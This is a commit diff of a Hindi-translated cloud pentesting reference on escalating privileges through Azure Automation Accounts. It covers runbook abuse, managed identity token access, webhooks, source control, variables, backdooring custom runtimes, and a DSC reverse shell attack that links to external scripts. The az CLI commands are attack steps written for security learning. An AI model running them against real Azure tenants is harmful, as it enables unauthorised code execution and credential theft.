Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-10 13:19:32 +00:00
parent f8a9d0b82a
commit f548fb8778
2 changed files with 77 additions and 31 deletions

View File

@@ -10,11 +10,20 @@
../az-services/az-automation-accounts.md
{{#endref}}
### Hybrid Workers
याद रखें कि यदि किसी तरह एक हमलावर एक हाइब्रिड वर्कर में एक मनमाना रनबुक (मनमाना कोड) निष्पादित कर सकता है, तो वह **VM के स्थान पर पिवट करेगा**। यह एक ऑन-प्रिमाइस मशीन, एक अलग क्लाउड का VPC या यहां तक कि एक Azure VM हो सकता है।
इसके अलावा, यदि हाइब्रिड वर्कर Azure में अन्य प्रबंधित पहचान के साथ चल रहा है, तो रनबुक **रनबुक की प्रबंधित पहचान और VM की सभी प्रबंधित पहचान को मेटाडेटा सेवा से** एक्सेस कर सकेगा।
> [!TIP]
> याद रखें कि **मेटाडेटा सेवा** का एक अलग URL है (**`http://169.254.169.254`**) उस सेवा से जहां ऑटोमेशन खाते की प्रबंधित पहचान टोकन प्राप्त किया जाता है (**`IDENTITY_ENDPOINT`**).
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
संक्षेप में, ये अनुमतियाँ **Automation Account** में **Runbooks** बनाने, संशोधित करने और चलाने की अनुमति देती हैं, जिसे आप **Automation Account** के संदर्भ में **कोड निष्पादित** करने और असाइन किए **Managed Identities** के लिए विशेषाधिकार बढ़ाने और **Automation Account** में संग्रहीत **क्रेडेंशियल्स** और **एन्क्रिप्टेड वेरिएबल्स** लीक करने के लिए उपयोग कर सकते हैं।
संक्षेप में, ये अनुमतियाँ **ऑटोमेशन खाते में रनबुक बनाने, संशोधित करने और चलाने** की अनुमति देती हैं, जिसे आप **ऑटोमेशन खाते के संदर्भ में कोड निष्पादित करने** और असाइन क **प्रबंधित पहचान** के लिए विशेषाधिकार बढ़ाने और ऑटोमेशन खाते में संग्रहीत **क्रेडेंशियल्स** और **एन्क्रिप्टेड वेरिएबल्स** लीक करने के लिए उपयोग कर सकते हैं।
अनुमति **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** Automation Account में एक Runbook के कोड को संशोधित करने की अनुमति देती है:
अनुमति **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ऑटोमेशन खाते में एक रनबुक के कोड को संशोधित करने की अनुमति देती है:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -38,7 +47,11 @@ az automation runbook publish \
```
अनुमति **`Microsoft.Automation/automationAccounts/jobs/write`** उपयोगकर्ता को Automation Account में Runbook चलाने की अनुमति देती है:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
अनुमति **`Microsoft.Automation/automationAccounts/jobs/output/read`** उपयोगकर्ता को Automation Account में एक नौकरी के आउटपुट को पढ़ने की अनुमति देती है:
```bash
@@ -114,7 +127,7 @@ az rest --method PUT \
### `Microsoft.Automation/automationAccounts/webhooks/write`
अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ, Automation Account के अंदर एक Runbook के लिए एक नया Webhook बनाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है।
अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ, Automation Account के भीतर एक Runbook के लिए एक नया Webhook बनाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है।
ध्यान दें कि आपको **webhook URI** को टोकन के साथ इंगित करने की आवश्यकता होगी।
```bash
@@ -140,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
केवल अनुमति `Microsoft.Automation/automationAccounts/runbooks/draft/write` के साथ **एक Runbook के कोड को अपडेट करना** संभव है बिना इसे प्रकाशित किए और इसे निम्नलिखित कमांड का उपयोग करके चलाना।
केवल अनुमति `Microsoft.Automation/automationAccounts/runbooks/draft/write` के साथ, **एक Runbook के कोड को अपडेट करना** संभव है बिना इसे प्रकाशित किए और इसे निम्नलिखित कमांड का उपयोग करके चलाना।
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
@@ -165,7 +179,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
यह अनुमति उपयोगकर्ता को Automation Account के लिए **एक स्रोत नियंत्रण कॉन्फ़िगर** करने की अनुमति देती है, जैसे कि निम्नलिखित कमांड का उपयोग करते हुए (यह Github को उदाहरण के रूप में उपयोग करता है):
यह अनुमति उपयोगकर्ता को **Automation Account के लिए एक स्रोत नियंत्रण कॉन्फ़िगर** करने की अनुमति देती है, जैसे कि निम्नलिखित कमांड का उपयोग करते हुए (यह उदाहरण के लिए Github का उपयोग करता है):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -180,32 +194,48 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
यह स्वचालित रूप से Github रिपॉजिटरी से रनबुक को ऑटोमेशन अकाउंट में आयात करेगा और कुछ अन्य अनुमतियों के साथ उन्हें चलाना शुरू करना **संभव है कि विशेषाधिकार बढ़ाए जा सके**
यह स्वचालित रूप से Github रिपॉजिटरी से रनबुक को ऑटोमेशन अकाउंट में आयात करेगा और कुछ अन्य अनुमतियों के साथ उन्हें चलाना शुरू करना **संभव है कि विशेषाधिकार बढ़ाए जा**
इसके अलावा, याद रखें कि ऑटोमेशन अकाउंट में काम करने के लिए चार स्रोत नियंत्रण के लिए, इसमें **`Contributor`** भूमिका के साथ एक प्रबंधित पहचान होनी चाहिए और यदि यह एक उपयोगकर्ता प्रबंधित पहचान है, तो इसे **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में उपयोगकर्ता प्रबंधित पहचान के **क्लाइंट आईडी** को सेट करके भी कॉन्फ़िगर किया जा सकता है
इसके अलावा, याद रखें कि ऑटोमेशन अकाउंट में स्रोत नियंत्रण काम करने के लिए, इसमें **`Contributor`** भूमिका के साथ एक प्रबंधित पहचान होनी चाहिए और यदि यह एक उपयोगकर्ता प्रबंधित पहचान है, तो MI का क्लाइंट आईडी को **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** वेरिएबल में निर्दिष्ट किया जाना चाहिए
> [!TIP]
> ध्यान दें कि एक बार स्रोत नियंत्रण का निर्माण हो जाने के बाद, इसके रिपॉजिटरी URL को बदलना संभव नहीं है।
### `Microsoft.Automation/automationAccounts/variables/write`
अनुमति **`Microsoft.Automation/automationAccounts/variables/write`** के साथ, निम्नलिखित कमांड का उपयोग करके ऑटोमेशन अकाउंट में वेरिएबल लिखना संभव है।
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
```
### कस्टम रनटाइम वातावरण
यदि एक ऑटोमेशन अकाउंट एक कस्टम रनटाइम वातावरण का उपयोग कर रहा है, तो यह संभव है कि रनटाइम के एक कस्टम पैकेज को कुछ दुर्भावनापूर्ण कोड (जैसे **एक बैकडोर**) के साथ ओवरराइट किया जा सके। इस तरह, जब भी उस कस्टम रनटाइम का उपयोग करने वाला एक रनबुक निष्पादित होता है और कस्टम पैकेज लोड होता है, तो दुर्भावनापूर्ण कोड निष्पादित होगा।
यदि एक ऑटोमेशन खाता एक कस्टम रनटाइम वातावरण का उपयोग कर रहा है, तो यह संभव है कि रनटाइम के एक कस्टम पैकेज को कुछ दुर्भावनापूर्ण कोड (जैसे **एक बैकडोर**) के साथ ओवरराइट किया जा सके। इस तरह, जब भी उस कस्टम रनटाइम का उपयोग करने वाला एक रनबुक निष्पादित होता है और कस्टम पैकेज को लोड करता है, तो दुर्भावनापूर्ण कोड निष्पादित होगा।
### राज्य कॉन्फ़िगरेशन से समझौता करना
### राज्य कॉन्फ़िगरेशन का समझौता करना
**पूर्ण पोस्ट देखें:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- चरण 1 — फ़ाइलें बनाएं
**आवश्यक फ़ाइलें:** दो PowerShell स्क्रिप्ट की आवश्यकता है:
1. `reverse_shell_config.ps1`: एक इच्छित राज्य कॉन्फ़िगरेशन (DSC) फ़ाइल जो पेलोड को लाने और निष्पादित करने के लिए है। इसे [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) से प्राप्त किया जा सकता है।
2. `push_reverse_shell_config.ps1`: VM पर कॉन्फ़िगरेशन को प्रकाशित करने के लिए एक स्क्रिप्ट, जो [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) पर उपलब्ध है।
1. `reverse_shell_config.ps1`: एक इच्छित राज्य कॉन्फ़िगरेशन (DSC) फ़ाइल जो पेलोड को लाने और निष्पादित करने के लिए है। यह [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) से प्राप्त किया जा सकता है।
2. `push_reverse_shell_config.ps1`: एक स्क्रिप्ट जो कॉन्फ़िगरेशन को VM पर प्रकाशित करती है, जो [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) पर उपलब्ध है।
**कस्टमाइजेशन:** इन फ़ाइलों में वेरिएबल और पैरामीटर को उपयोगकर्ता के विशिष्ट वातावरण के अनुसार अनुकूलित किया जाना चाहिए, जिसमें संसाधन नाम, फ़ाइल पथ, और सर्वर/पेलोड पहचानकर्ता शामिल हैं।
- चरण 2 — कॉन्फ़िगरेशन फ़ाइल को ज़िप करें
`reverse_shell_config.ps1` को एक `.zip` फ़ाइल में संकुचित किया जाता है, जिससे इसे Azure स्टोरेज अकाउंट में स्थानांतरित करने के लिए तैयार किया जा सके।
`reverse_shell_config.ps1` को एक `.zip` फ़ाइल में संकुचित किया जाता है, जिससे इसे Azure स्टोरेज खाते में स्थानांतरित करने के लिए तैयार किया जा सके।
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```